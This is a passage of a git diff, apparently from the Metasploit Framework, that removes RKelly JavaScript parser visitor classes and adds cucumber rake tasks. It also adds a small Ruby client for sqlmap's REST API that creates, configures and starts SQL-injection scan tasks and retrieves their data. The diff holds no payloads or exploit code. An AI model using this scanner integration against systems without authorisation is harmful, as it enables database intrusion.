#{o.value.accept(self)}(#{o.arguments.accept(self)})" - end - - private - def indent; ' ' * @indent * 2; end - end - end -end diff --git a/lib/rkelly/visitors/enumerable_visitor.rb b/lib/rkelly/visitors/enumerable_visitor.rb deleted file mode 100644 index 60aec2d798..0000000000 --- a/lib/rkelly/visitors/enumerable_visitor.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module Visitors - class EnumerableVisitor < Visitor - def initialize(block) - @block = block - end - - ALL_NODES.each do |type| - eval <<-RUBY - def visit_#{type}Node(o) - @block[o] - super - end - RUBY - end - end - end -end diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb deleted file mode 100644 index 3353a6531b..0000000000 --- a/lib/rkelly/visitors/evaluation_visitor.rb +++ /dev/null @@ -1,420 +0,0 @@ -# -*- coding: binary -*- -module RKelly - module Visitors - class EvaluationVisitor < Visitor - attr_reader :scope_chain - def initialize(scope) - super() - @scope_chain = scope - @operand = [] - end - - def visit_SourceElementsNode(o) - o.value.each { |x| - next if scope_chain.returned? - x.accept(self) - } - end - - def visit_FunctionDeclNode(o) - end - - def visit_VarStatementNode(o) - o.value.each { |x| x.accept(self) } - end - - def visit_VarDeclNode(o) - @operand << o.name - o.value.accept(self) if o.value - @operand.pop - end - - def visit_IfNode(o) - truthiness = o.conditions.accept(self) - if truthiness.value && truthiness.value != 0 - o.value.accept(self) - else - o.else && o.else.accept(self) - end - end - - def visit_ResolveNode(o) - scope_chain[o.value] - end - - def visit_ThisNode(o) - scope_chain.this - end - - def visit_ExpressionStatementNode(o) - o.value.accept(self) - end - - def visit_AddNode(o) - left = to_primitive(o.left.accept(self), 'Number') - right = to_primitive(o.value.accept(self), 'Number') - - if left.value.is_a?(::String) || right.value.is_a?(::String) - RKelly::JS::Property.new(:add, - "#{left.value}#{right.value}" - ) - else - additive_operator(:+, left, right) - end - end - - def visit_SubtractNode(o) - RKelly::JS::Property.new(:subtract, - o.left.accept(self).value - o.value.accept(self).value - ) - end - - def visit_MultiplyNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? } - RKelly::JS::NaN.new - else - [left, right].any? { |x| - x.respond_to?(:intinite?) && x.infinite? - } && [left, right].any? { |x| x == 0 - } ? RKelly::JS::NaN.new : left * right - end - RKelly::JS::Property.new(:multiple, return_val) - end - - def visit_DivideNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| - x.respond_to?(:nan?) && x.nan? || - x.respond_to?(:intinite?) && x.infinite? - } - RKelly::JS::NaN.new - elsif [left, right].all? { |x| x == 0 } - RKelly::JS::NaN.new - elsif right == 0 - left * (right.eql?(0) ? (1.0/0.0) : (-1.0/0.0)) - else - left / right - end - RKelly::JS::Property.new(:divide, return_val) - end - - def visit_ModulusNode(o) - left = to_number(o.left.accept(self)).value - right = to_number(o.value.accept(self)).value - return_val = - if [left, right].any? { |x| x.respond_to?(:nan?) && x.nan? } - RKelly::JS::NaN.new - elsif [left, right].all? { |x| x.respond_to?(:infinite?) && x.infinite? } - RKelly::JS::NaN.new - elsif right == 0 - RKelly::JS::NaN.new - elsif left.respond_to?(:infinite?) && left.infinite? - RKelly::JS::NaN.new - elsif right.respond_to?(:infinite?) && right.infinite? - left - else - left % right - end - RKelly::JS::Property.new(:divide, return_val) - end - - def visit_OpEqualNode(o) - left = o.left.accept(self) - right = o.value.accept(self) - left.value = right.value - left.function = right.function - left - end - - def visit_OpPlusEqualNode(o) - o.left.accept(self).value += o.value.accept(self).value - end - - def visit_AssignExprNode(o) - scope_chain[@operand.last] = o.value.accept(self) - end - - def visit_NumberNode(o) - RKelly::JS::Property.new(o.value, o.value) - end - - def visit_VoidNode(o) - o.value.accept(self) - RKelly::JS::Property.new(:undefined, :undefined) - end - - def visit_NullNode(o) - RKelly::JS::Property.new(nil, nil) - end - - def visit_TrueNode(o) - RKelly::JS::Property.new(true, true) - end - - def visit_FalseNode(o) - RKelly::JS::Property.new(false, false) - end - - def visit_StringNode(o) - RKelly::JS::Property.new(:string, - o.value.gsub(/\A['"]/, '').gsub(/['"]$/, '') - ) - end - - def visit_FunctionCallNode(o) - left = o.value.accept(self) - arguments = o.arguments.accept(self) - call_function(left, arguments) - end - - def visit_NewExprNode(o) - visit_FunctionCallNode(o) - end - - def visit_DotAccessorNode(o) - left = o.value.accept(self) - right = left.value[o.accessor] - right.binder = left.value - right - end - - def visit_EqualNode(o) - left = o.left.accept(self) - right = o.value.accept(self) - - RKelly::JS::Property.new(:equal_node, left.value == right.value) - end - - def visit_BlockNode(o) - o.value.accept(self) - end - - def visit_FunctionBodyNode(o) - o.value.accept(self) - scope_chain.return - end - - def visit_ReturnNode(o) - scope_chain.return = o.value.accept(self) - end - - def visit_BitwiseNotNode(o) - orig = o.value.accept(self) - number = to_int_32(orig) - RKelly::JS::Property.new(nil, ~number.value) - end - - def visit_PostfixNode(o) - orig = o.operand.accept(self) - number = to_number(orig) - case o.value - when '++' - orig.value = number.value + 1 - when '--' - orig.value = number.value - 1 - end - number - end - - def visit_PrefixNode(o) - orig = o.operand.accept(self) - number = to_number(orig) - case o.value - when '++' - orig.value = number.value + 1 - when '--' - orig.value = number.value - 1 - end - orig - end - - def visit_LogicalNotNode(o) - bool = to_boolean(o.value.accept(self)) - bool.value = !bool.value - bool - end - - def visit_ArgumentsNode(o) - o.value.map { |x| x.accept(self) } - end - - def visit_TypeOfNode(o) - val = o.value.accept(self) - return RKelly::JS::Property.new(:string, 'object') if val.value.nil? - - case val.value - when String - RKelly::JS::Property.new(:string, 'string') - when Numeric - RKelly::JS::Property.new(:string, 'number') - when true - RKelly::JS::Property.new(:string, 'boolean') - when false - RKelly::JS::Property.new(:string, 'boolean') - when :undefined - RKelly::JS::Property.new(:string, 'undefined') - else - RKelly::JS::Property.new(:object, 'object') - end - end - - def visit_UnaryPlusNode(o) - orig = o.value.accept(self) - to_number(orig) - end - - def visit_UnaryMinusNode(o) - orig = o.value.accept(self) - v = to_number(orig) - v.value = v.value == 0 ? -0.0 : 0 - v.value - v - end - - %w{ - ArrayNode BitAndNode BitOrNode - BitXOrNode BracketAccessorNode BreakNode - CaseBlockNode CaseClauseNode CommaNode ConditionalNode - ConstStatementNode ContinueNode DeleteNode - DoWhileNode ElementNode EmptyStatementNode - ForInNode ForNode - FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode - InNode InstanceOfNode LabelNode LeftShiftNode LessNode - LessOrEqualNode LogicalAndNode LogicalOrNode - NotEqualNode NotStrictEqualNode - ObjectLiteralNode OpAndEqualNode OpDivideEqualNode - OpLShiftEqualNode OpMinusEqualNode OpModEqualNode - OpMultiplyEqualNode OpOrEqualNode OpRShiftEqualNode - OpURShiftEqualNode OpXOrEqualNode ParameterNode - PropertyNode RegexpNode RightShiftNode - SetterPropertyNode StrictEqualNode - SwitchNode ThrowNode TryNode - UnsignedRightShiftNode - WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - raise "#{type} not defined" - end - end - - private - def to_number(object) - return RKelly::JS::Property.new('0', 0) unless object.value - - return_val = - case object.value - when :undefined - RKelly::JS::NaN.new - when false - 0 - when true - 1 - when Numeric - object.value - when ::String - s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '') - if s.length == 0 - 0 - else - case s - when /^([+-])?Infinity/ - $1 == '-' ? -1.0/0.0 : 1.0/0.0 - when /\A[-+]?\d+\.\d*(?:[eE][-+]?\d+)?$|\A[-+]?\d+(?:\.\d*)?[eE][-+]?\d+$|\A[-+]?\.\d+(?:[eE][-+]?\d+)?$/, /\A[-+]?0[xX][\da-fA-F]+$|\A[+-]?0[0-7]*$|\A[+-]?\d+$/ - s.gsub!(/\.(\D)/, '.0\1') if s =~ /\.\w/ - s.gsub!(/\.$/, '.0') if s =~ /\.$/ - s.gsub!(/^\./, '0.') if s =~ /^\./ - s.gsub!(/^([+-])\./, '\10.') if s =~ /^[+-]\./ - s = s.gsub(/^[0]*/, '') if /^0[1-9]+$/.match(s) - eval(s) - else - RKelly::JS::NaN.new - end - end - when RKelly::JS::Base - return to_number(to_primitive(object, 'Number')) - end - RKelly::JS::Property.new(nil, return_val) - end - - def to_boolean(object) - return RKelly::JS::Property.new(false, false) unless object.value - value = object.value - boolean = - case value - when :undefined - false - when true - true - when Numeric - value == 0 || value.respond_to?(:nan?) && value.nan? ? false : true - when ::String - value.length == 0 ? false : true - when RKelly::JS::Base - true - else - raise - end - RKelly::JS::Property.new(boolean, boolean) - end - - def to_int_32(object) - number = to_number(object) - value = number.value - return number if value == 0 - if value.respond_to?(:nan?) && (value.nan? || value.infinite?) - RKelly::JS::Property.new(nil, 0) - end - value = ((value < 0 ? -1 : 1) * value.abs.floor) % (2 ** 32) - if value >= 2 ** 31 - RKelly::JS::Property.new(nil, value - (2 ** 32)) - else - RKelly::JS::Property.new(nil, value) - end - end - - def to_primitive(object, preferred_type = nil) - return object unless object.value - case object.value - when false, true, :undefined, ::String, Numeric - RKelly::JS::Property.new(nil, object.value) - when RKelly::JS::Base - call_function(object.value.default_value(preferred_type)) - end - end - - def additive_operator(operator, left, right) - left, right = to_number(left).value, to_number(right).value - - left = left.respond_to?(:nan?) && left.nan? ? 0.0/0.0 : left - right = right.respond_to?(:nan?) && right.nan? ? 0.0/0.0 : right - - result = left.send(operator, right) - result = result.respond_to?(:nan?) && result.nan? ? JS::NaN.new : result - - RKelly::JS::Property.new(operator, result) - end - - def call_function(property, arguments = []) - function = property.function || property.value - case function - when RKelly::JS::Function - scope_chain.new_scope { |chain| - function.js_call(chain, *arguments) - } - when UnboundMethod - RKelly::JS::Property.new(:ruby, - function.bind(property.binder).call(*(arguments.map { |x| x.value})) - ) - else - RKelly::JS::Property.new(:ruby, - function.call(*(arguments.map { |x| x.value })) - ) - end - end - end - end -end diff --git a/lib/rkelly/visitors/function_visitor.rb b/lib/rkelly/visitors/function_visitor.rb deleted file mode 100644 index 1e9caf675c..0000000000 --- a/lib/rkelly/visitors/function_visitor.rb +++ /dev/null @@ -1,46 +0,0 @@ -module RKelly - module Visitors - class FunctionVisitor < Visitor - attr_reader :scope_chain - def initialize(scope) - super() - @scope_chain = scope - end - - def visit_SourceElementsNode(o) - o.value.each { |x| x.accept(self) } - end - - def visit_FunctionDeclNode(o) - if o.value - scope_chain[o.value].value = RKelly::JS::Function.new(o.function_body, o.arguments) - end - end - - %w{ - AddNode ArgumentsNode ArrayNode AssignExprNode BitAndNode BitOrNode - BitXOrNode BitwiseNotNode BlockNode BracketAccessorNode BreakNode - CaseBlockNode CaseClauseNode CommaNode ConditionalNode - ConstStatementNode ContinueNode DeleteNode DivideNode - DoWhileNode DotAccessorNode ElementNode EmptyStatementNode EqualNode - ExpressionStatementNode FalseNode ForInNode ForNode FunctionBodyNode - FunctionExprNode GetterPropertyNode GreaterNode GreaterOrEqualNode - IfNode InNode InstanceOfNode LabelNode LeftShiftNode LessNode - LessOrEqualNode LogicalAndNode LogicalNotNode LogicalOrNode ModulusNode - MultiplyNode NewExprNode NotEqualNode NotStrictEqualNode NullNode - NumberNode ObjectLiteralNode OpAndEqualNode OpDivideEqualNode - OpEqualNode OpLShiftEqualNode OpMinusEqualNode OpModEqualNode - OpMultiplyEqualNode OpOrEqualNode OpPlusEqualNode OpRShiftEqualNode - OpURShiftEqualNode OpXOrEqualNode ParameterNode PostfixNode PrefixNode - PropertyNode RegexpNode ResolveNode ReturnNode RightShiftNode - SetterPropertyNode StrictEqualNode StringNode - SubtractNode SwitchNode ThisNode ThrowNode TrueNode TryNode TypeOfNode - UnaryMinusNode UnaryPlusNode UnsignedRightShiftNode VarDeclNode - VarStatementNode VoidNode WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - end - end - end - end -end diff --git a/lib/rkelly/visitors/pointcut_visitor.rb b/lib/rkelly/visitors/pointcut_visitor.rb deleted file mode 100644 index 0df6ba1d0b..0000000000 --- a/lib/rkelly/visitors/pointcut_visitor.rb +++ /dev/null @@ -1,31 +0,0 @@ -module RKelly - module Visitors - class PointcutVisitor < Visitor - attr_reader :matches - def initialize(pattern, matches = []) - @pattern = pattern - @matches = matches - end - - def >(pattern) - pattern = - case pattern - when Class - pattern.new(Object) - else - pattern - end - self.class.new(nil, @matches.map do |m| - m.pointcut(pattern).matches - end.flatten) - end - - ALL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - @matches << o if @pattern === o - super(o) - end - end - end - end -end diff --git a/lib/rkelly/visitors/real_sexp_visitor.rb b/lib/rkelly/visitors/real_sexp_visitor.rb deleted file mode 100644 index 25fda08dd7..0000000000 --- a/lib/rkelly/visitors/real_sexp_visitor.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Visitors - class RealSexpVisitor < Visitor - ALL_NODES.each do |type| - eval <<-RUBY - def visit_#{type}Node(o) - sexp = s(:#{type.scan(/[A-Z][a-z]+/).join('_').downcase}, *super(o)) - sexp.line = o.line if o.line - sexp.file = o.filename - sexp - end - RUBY - end - end - end -end diff --git a/lib/rkelly/visitors/sexp_visitor.rb b/lib/rkelly/visitors/sexp_visitor.rb deleted file mode 100644 index 1cde91a109..0000000000 --- a/lib/rkelly/visitors/sexp_visitor.rb +++ /dev/null @@ -1,373 +0,0 @@ -module RKelly - module Visitors - class SexpVisitor < Visitor - def visit_NumberNode(o) - [:lit, o.value] - end - - def visit_RegexpNode(o) - [:lit, o.value] - end - - def visit_AssignExprNode(o) - [:assign, super] - end - - def visit_VarDeclNode(o) - [ o.constant? ? :const_decl : :var_decl ] + super(o) - end - - def visit_VarStatementNode(o) - [:var, super] - end - - def visit_PostfixNode(o) - [:postfix, super, o.value] - end - - def visit_PrefixNode(o) - [:prefix, super, o.value] - end - - def visit_DeleteNode(o) - [:delete, super] - end - - def visit_VoidNode(o) - [:void, super] - end - - def visit_TypeOfNode(o) - [:typeof, super] - end - - def visit_UnaryPlusNode(o) - [:u_plus, super] - end - - def visit_UnaryMinusNode(o) - [:u_minus, super] - end - - def visit_BitwiseNotNode(o) - [:bitwise_not, super] - end - - def visit_LogicalNotNode(o) - [:not, super] - end - - def visit_ConstStatementNode(o) - [:const, super] - end - - def visit_MultiplyNode(o) - [:multiply, *super] - end - - def visit_DivideNode(o) - [:divide, *super] - end - - def visit_ModulusNode(o) - [:modulus, *super] - end - - def visit_AddNode(o) - [:add, *super] - end - - def visit_LeftShiftNode(o) - [:lshift, *super] - end - - def visit_RightShiftNode(o) - [:rshift, *super] - end - - def visit_UnsignedRightShiftNode(o) - [:urshift, *super] - end - - def visit_SubtractNode(o) - [:subtract, *super] - end - - def visit_LessNode(o) - [:less, *super] - end - - def visit_GreaterNode(o) - [:greater, *super] - end - - def visit_LessOrEqualNode(o) - [:less_or_equal, *super] - end - - def visit_GreaterOrEqualNode(o) - [:greater_or_equal, *super] - end - - def visit_InstanceOfNode(o) - [:instance_of, *super] - end - - def visit_EqualNode(o) - [:equal, *super] - end - - def visit_NotEqualNode(o) - [:not_equal, *super] - end - - def visit_StrictEqualNode(o) - [:strict_equal, *super] - end - - def visit_NotStrictEqualNode(o) - [:not_strict_equal, *super] - end - - def visit_BitAndNode(o) - [:bit_and, *super] - end - - def visit_BitOrNode(o) - [:bit_or, *super] - end - - def visit_BitXOrNode(o) - [:bit_xor, *super] - end - - def visit_LogicalAndNode(o) - [:and, *super] - end - - def visit_LogicalOrNode(o) - [:or, *super] - end - - def visit_InNode(o) - [:in, *super] - end - - def visit_DoWhileNode(o) - [:do_while, *super] - end - - def visit_WhileNode(o) - [:while, *super] - end - - def visit_WithNode(o) - [:with, *super] - end - - def visit_CaseClauseNode(o) - [:case, *super] - end - - def visit_CaseBlockNode(o) - [:case_block, super] - end - - def visit_SwitchNode(o) - [:switch, *super] - end - - def visit_ForNode(o) - [ :for, *super] - end - - def visit_BlockNode(o) - [:block, super] - end - - def visit_IfNode(o) - [:if, *super].compact - end - - def visit_ConditionalNode(o) - [:conditional, *super] - end - - def visit_ForInNode(o) - [ :for_in, *super] - end - - def visit_TryNode(o) - [ :try, *super] - end - - def visit_EmptyStatementNode(o) - [:empty] - end - - def visit_FunctionBodyNode(o) - [:func_body, super] - end - - def visit_ResolveNode(o) - [:resolve, o.value] - end - - def visit_BracketAccessorNode(o) - [:bracket_access, *super] - end - - def visit_NewExprNode(o) - [:new_expr, *super] - end - - def visit_ParameterNode(o) - [:param, o.value] - end - - def visit_BreakNode(o) - [:break, o.value].compact - end - - def visit_ContinueNode(o) - [:continue, o.value].compact - end - - def visit_LabelNode(o) - [:label ] + super - end - - def visit_ThrowNode(o) - [:throw, super] - end - - def visit_ObjectLiteralNode(o) - [:object, super] - end - - def visit_PropertyNode(o) - [ :property ] + super - end - - def visit_GetterPropertyNode(o) - [ :getter ] + super - end - - def visit_SetterPropertyNode(o) - [ :setter ] + super - end - - def visit_ElementNode(o) - [:element, super ] - end - - def visit_ExpressionStatementNode(o) - [:expression, super ] - end - - def visit_OpEqualNode(o) - [:op_equal, *super ] - end - - def visit_OpPlusEqualNode(o) - [:op_plus_equal, *super ] - end - - def visit_OpMinusEqualNode(o) - [:op_minus_equal, *super ] - end - - def visit_OpMultiplyEqualNode(o) - [:op_multiply_equal, *super ] - end - - def visit_OpDivideEqualNode(o) - [:op_divide_equal, *super] - end - - def visit_OpLShiftEqualNode(o) - [:op_lshift_equal, *super ] - end - - def visit_OpRShiftEqualNode(o) - [:op_rshift_equal, *super ] - end - - def visit_OpURShiftEqualNode(o) - [:op_urshift_equal, *super ] - end - - def visit_OpAndEqualNode(o) - [:op_and_equal, *super ] - end - - def visit_OpXOrEqualNode(o) - [:op_xor_equal, *super ] - end - - def visit_OpOrEqualNode(o) - [:op_or_equal, *super ] - end - - def visit_OpModEqualNode(o) - [:op_mod_equal, *super] - end - - def visit_CommaNode(o) - [:comma, *super] - end - - def visit_FunctionCallNode(o) - [:function_call, *super] - end - - def visit_ArrayNode(o) - [:array, super] - end - - def visit_ThisNode(o) - [:this] - end - - def visit_ReturnNode(o) - o.value ? [:return, super] : [:return] - end - - def visit_FunctionExprNode(o) - [ :func_expr, *super] - end - - def visit_FunctionDeclNode(o) - [ :func_decl, *super] - end - - def visit_ArgumentsNode(o) - [:args, super] - end - - def visit_DotAccessorNode(o) - [:dot_access, - super, - o.accessor - ] - end - - def visit_NullNode(o) - [:nil] - end - - def visit_StringNode(o) - [:str, o.value] - end - - def visit_FalseNode(o) - [:false] - end - - def visit_TrueNode(o) - [:true] - end - - end - end -end diff --git a/lib/rkelly/visitors/visitor.rb b/lib/rkelly/visitors/visitor.rb deleted file mode 100644 index cb9d66514b..0000000000 --- a/lib/rkelly/visitors/visitor.rb +++ /dev/null @@ -1,136 +0,0 @@ -module RKelly - module Visitors - class Visitor - TERMINAL_NODES = %w{ - Break Continue EmptyStatement False Null Number Parameter Regexp Resolve - String This True - } - SINGLE_VALUE_NODES = %w{ - Parenthetical AssignExpr BitwiseNot Block Delete Element ExpressionStatement - FunctionBody LogicalNot Return Throw TypeOf UnaryMinus UnaryPlus Void - } - BINARY_NODES = %w{ - Add BitAnd BitOr BitXOr CaseClause Comma Divide DoWhile Equal Greater - GreaterOrEqual In InstanceOf LeftShift Less LessOrEqual LogicalAnd - LogicalOr Modulus Multiply NotEqual NotStrictEqual OpAndEqual - OpDivideEqual OpEqual OpLShiftEqual OpMinusEqual OpModEqual - OpMultiplyEqual OpOrEqual OpPlusEqual OpRShiftEqual OpURShiftEqual - OpXOrEqual RightShift StrictEqual Subtract Switch UnsignedRightShift - While With - } - ARRAY_VALUE_NODES = %w{ - Arguments Array CaseBlock ConstStatement ObjectLiteral SourceElements - VarStatement - } - NAME_VALUE_NODES = %w{ - Label Property GetterProperty SetterProperty VarDecl - } - PREFIX_POSTFIX_NODES = %w{ Postfix Prefix } - CONDITIONAL_NODES = %w{ If Conditional } - FUNC_CALL_NODES = %w{ NewExpr FunctionCall } - FUNC_DECL_NODES = %w{ FunctionExpr FunctionDecl } - ALL_NODES = %w{ For ForIn Try BracketAccessor DotAccessor } + - TERMINAL_NODES + SINGLE_VALUE_NODES + BINARY_NODES + ARRAY_VALUE_NODES + - NAME_VALUE_NODES + PREFIX_POSTFIX_NODES + CONDITIONAL_NODES + - FUNC_CALL_NODES + FUNC_DECL_NODES - - def accept(target) - target.accept(self) - end - - TERMINAL_NODES.each do |type| - define_method(:"visit_#{type}Node") { |o| o.value } - end - - BINARY_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.left && o.left.accept(self), o.value && o.value.accept(self)] - end - end - - ARRAY_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.value && o.value.map { |v| v ? v.accept(self) : nil } - end - end - - NAME_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.name.to_s.to_sym, o.value ? o.value.accept(self) : nil] - end - end - - SINGLE_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.value.accept(self) if o.value - end - end - - PREFIX_POSTFIX_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.operand.accept(self) - end - end - - CONDITIONAL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [ o.conditions.accept(self), - o.value.accept(self), - o.else ? o.else.accept(self) : nil - ] - end - end - FUNC_CALL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.value.accept(self), o.arguments.accept(self)] - end - end - FUNC_DECL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [ - o.value ? o.value : nil, - o.arguments.map { |x| x.accept(self) }, - o.function_body.accept(self) - ] - end - end - - def visit_ForNode(o) - [ - o.init ? o.init.accept(self) : nil, - o.test ? o.test.accept(self) : nil, - o.counter ? o.counter.accept(self) : nil, - o.value.accept(self) - ] - end - - def visit_ForInNode(o) - [ - o.left.accept(self), - o.right.accept(self), - o.value.accept(self) - ] - end - - def visit_TryNode(o) - [ - o.value.accept(self), - o.catch_var ? o.catch_var : nil, - o.catch_block ? o.catch_block.accept(self) : nil, - o.finally_block ? o.finally_block.accept(self) : nil - ] - end - - def visit_BracketAccessorNode(o) - [ - o.value.accept(self), - o.accessor.accept(self) - ] - end - - def visit_DotAccessorNode(o) - o.value.accept(self) - end - end - end -end diff --git a/lib/sqlmap/sqlmap_manager.rb b/lib/sqlmap/sqlmap_manager.rb new file mode 100644 index 0000000000..cbb69c3b80 --- /dev/null +++ b/lib/sqlmap/sqlmap_manager.rb @@ -0,0 +1,50 @@ +require 'json' + +module Sqlmap + class Manager + def initialize(session) + @session = session + end + + def new_task + res = @session.get('/task/new') + return JSON.parse(res.body) + end + + def delete_task(task_id) + res = @session.get('/task/' + task_id + '/delete') + return JSON.parse(res.body) + end + + def set_option(task_id, key, value) + post = { key => value } + res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'}) + return JSON.parse(res.body) + end + + def get_options(task_id) + res = @session.get('/option/' + task_id + '/list') + return JSON.parse(res.body) + end + + def start_task(task_id, options = {}) + res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'}) + return JSON.parse(res.body) + end + + def get_task_status(task_id) + res = @session.get('/scan/' + task_id + '/status') + return JSON.parse(res.body) + end + + def get_task_log(task_id) + res = @session.get('/scan/' + task_id + '/log') + return JSON.parse(res.body) + end + + def get_task_data(task_id) + res = @session.get('/scan/' + task_id + '/data') + return JSON.parse(res.body) + end + end +end diff --git a/lib/sqlmap/sqlmap_session.rb b/lib/sqlmap/sqlmap_session.rb new file mode 100644 index 0000000000..3fb64f7c88 --- /dev/null +++ b/lib/sqlmap/sqlmap_session.rb @@ -0,0 +1,37 @@ +module Sqlmap + class Session + def initialize(host, port = 8775) + @host = host + @port = port + end + + def get(uri, headers = nil, params = nil) + c = Rex::Proto::Http::Client.new(@host, @port) + args = { + 'uri' => uri + } + + args['headers'] = headers if headers + args['vars_get'] = params if params + res = c.request_cgi(args) + res = c.send_recv(res) + return res + end + + def post(uri, headers = nil, data = nil, originator_args = nil) + c = Rex::Proto::Http::Client.new(@host, @port) + args = { + 'uri' => uri, + 'method' => 'POST' + } + + args.merge!(originator_args) if originator_args + + args['headers'] = headers if headers + args['data'] = data if data + res = c.request_cgi(args) + res = c.send_recv(res) + return res + end + end +end diff --git a/lib/sshkey/lib/sshkey.rb b/lib/sshkey/lib/sshkey.rb index 6035c10416..6a89dbee21 100644 --- a/lib/sshkey/lib/sshkey.rb +++ b/lib/sshkey/lib/sshkey.rb @@ -159,7 +159,7 @@ class SSHKey SSH_CONVERSION[type].each do |method| byte_array = to_byte_array(key_object.public_key.send(method).to_i) - out += encode_unsigned_int_32(byte_array.length).pack("c*") + out += encode_unsigned_int_32(byte_array.length).pack("C*") out += byte_array.pack("C*") end diff --git a/lib/tasks/cucumber.rake b/lib/tasks/cucumber.rake new file mode 100644 index 0000000000..ff424fa7b0 --- /dev/null +++ b/lib/tasks/cucumber.rake @@ -0,0 +1,74 @@ +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + + +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'default' + end + + Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'wip' + end + + Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'rerun' + end + + desc 'Run all features' + task :all => [:ok, :wip] + + task :statsetup do + require 'rails/code_statistics' + ::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features') + ::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features') + end + end + desc 'Alias for cucumber:ok' + task :cucumber => 'cucumber:ok' + + task :default => :cucumber + + task :features => :cucumber do + STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***" + end + + # In case we don't have ActiveRecord, append a no-op task that we can depend upon. + task 'db:test:prepare' do + end + + task 'db:config:restore' do + require 'metasploit/framework/database/cucumber' + Metasploit::Framework::Database::Cucumber.restore_project_configurations + end + + # Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test + # database in order to recover from interrupted cucumber runs + task 'environment' => 'db:config:restore' + + task :stats => 'cucumber:statsetup' +rescue LoadError + desc 'cucumber rake task not available (cucumber not installed)' + task :cucumber do + abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin' + end +end + +end diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake new file mode 100644 index 0000000000..f79bd0eb93 --- /dev/null +++ b/lib/tasks/custom_cucumber.rake @@ -0,0 +1,19 @@ +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'boot' + end + end + +end + +end \ No newline at end of file diff --git a/lib/tasks/database.rake b/lib/tasks/database.rake deleted file mode 100644 index 646db409ff..0000000000 --- a/lib/tasks/database.rake +++ /dev/null @@ -1,73 +0,0 @@ -load 'active_record/railties/databases.rake' - -require 'metasploit/framework' -require 'metasploit/framework/database' - -# A modification to remove dependency on Rails.env -# -# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550 -def configs_for_environment - environments = [Metasploit::Framework.env] - - if Metasploit::Framework.env.development? - environments << 'test' - end - - environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) - present_environment_configurations = environment_configurations.compact - valid_environment_configurations = present_environment_configurations.reject { |config| - config['database'].blank? - } - - valid_environment_configurations -end - -# emulate initializer "active_record.initialize_database" from active_record/railtie -ActiveSupport.on_load(:active_record) do - self.configurations = Metasploit::Framework::Database.configurations - puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" - - spec = configurations[Metasploit::Framework.env] - establish_connection(spec) -end - -# -# Remove tasks that aren't supported -# - -Rake::TaskManager.class_eval do - def remove_task(task_name) - @tasks.delete(task_name.to_s) - end -end - -Rake.application.remove_task('db:fixtures:load') - -# completely replace db:load_config and db:seed as they will attempt to use -# Rails.application, which does not exist -Rake::Task['db:load_config'].clear -Rake::Task['db:seed'].clear - -db_namespace = namespace :db do - task :load_config do - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - - ActiveRecord::Migrator.migrations_paths = [ - # rails isn't in Gemfile, so can't use the more appropriate - # 